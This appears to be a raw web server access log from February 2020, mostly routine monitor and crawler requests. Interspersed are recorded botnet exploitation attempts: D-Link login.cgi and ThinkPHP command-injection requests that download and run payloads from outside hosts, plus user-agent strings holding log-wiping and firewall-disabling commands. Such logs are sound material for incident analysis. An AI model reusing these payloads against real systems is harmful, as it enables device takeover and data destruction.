46.45.15.56 - - [16/Feb/2020:23:00:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:23:00:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.6.86.149 - - [16/Feb/2020:23:01:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
95.216.96.245 - - [16/Feb/2020:23:01:40 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.245 - - [16/Feb/2020:23:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [16/Feb/2020:23:01:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:02:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:03:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.67.238 - - [16/Feb/2020:23:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [16/Feb/2020:23:04:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.229.1.63 - - [16/Feb/2020:23:05:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
101.161.97.111 - - [16/Feb/2020:23:05:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:23:05:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:06:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [16/Feb/2020:23:07:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:23:07:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:08:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:09:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.34.72 - - [16/Feb/2020:23:10:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:23:10:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:11:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:12:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:13:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:14:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:15:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:16:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:17:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:18:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:21:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.186.179 - - [16/Feb/2020:23:21:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:22:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:23:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.124.168.148 - - [16/Feb/2020:23:24:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.83.65.114 - - [16/Feb/2020:23:24:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [16/Feb/2020:23:24:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:26:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:27:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:28:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:30:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:31:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:32:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.240.33.206 - - [16/Feb/2020:23:33:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:23:33:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [16/Feb/2020:23:34:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:34:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:35:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:36:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:37:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:38:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [16/Feb/2020:23:38:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:23:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:41:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.165.160 - - [16/Feb/2020:23:43:42 +0100] "GET /robots.txt HTTP/1.0" 404 334 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.160 - - [16/Feb/2020:23:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [16/Feb/2020:23:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:44:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
147.158.146.241 - - [16/Feb/2020:23:45:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [16/Feb/2020:23:45:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.199.155 - - [16/Feb/2020:23:46:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:46:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.174.254.5 - - [16/Feb/2020:23:47:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
71.77.51.27 - - [16/Feb/2020:23:47:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [16/Feb/2020:23:48:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [16/Feb/2020:23:50:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [16/Feb/2020:23:50:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.6.86.149 - - [16/Feb/2020:23:51:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:51:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:52:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.206.100.222 - - [16/Feb/2020:23:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:23:53:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.241.24.143 - - [16/Feb/2020:23:54:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:23:54:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.165.171.251 - - [16/Feb/2020:23:54:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:23:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.146.54 - - [16/Feb/2020:23:57:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:23:57:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:58:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:23:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:00:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.47.86 - - [17/Feb/2020:00:01:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:01:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.160.245.45 - - [17/Feb/2020:00:02:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:02:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [17/Feb/2020:00:03:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.88 - - [17/Feb/2020:00:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [17/Feb/2020:00:03:47 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [17/Feb/2020:00:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [17/Feb/2020:00:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
212.91.246.72 - - [17/Feb/2020:00:03:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.168.10.239 - - [17/Feb/2020:00:03:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:04:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:05:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:06:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:07:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.224.201.36 - - [17/Feb/2020:00:08:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:08:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.236.214.194 - - [17/Feb/2020:00:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:00:09:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.64.174 - - [17/Feb/2020:00:10:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [17/Feb/2020:00:10:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:11:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:12:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:13:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [17/Feb/2020:00:14:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:14:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:15:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.7.103 - - [17/Feb/2020:00:16:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:16:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:17:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:18:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
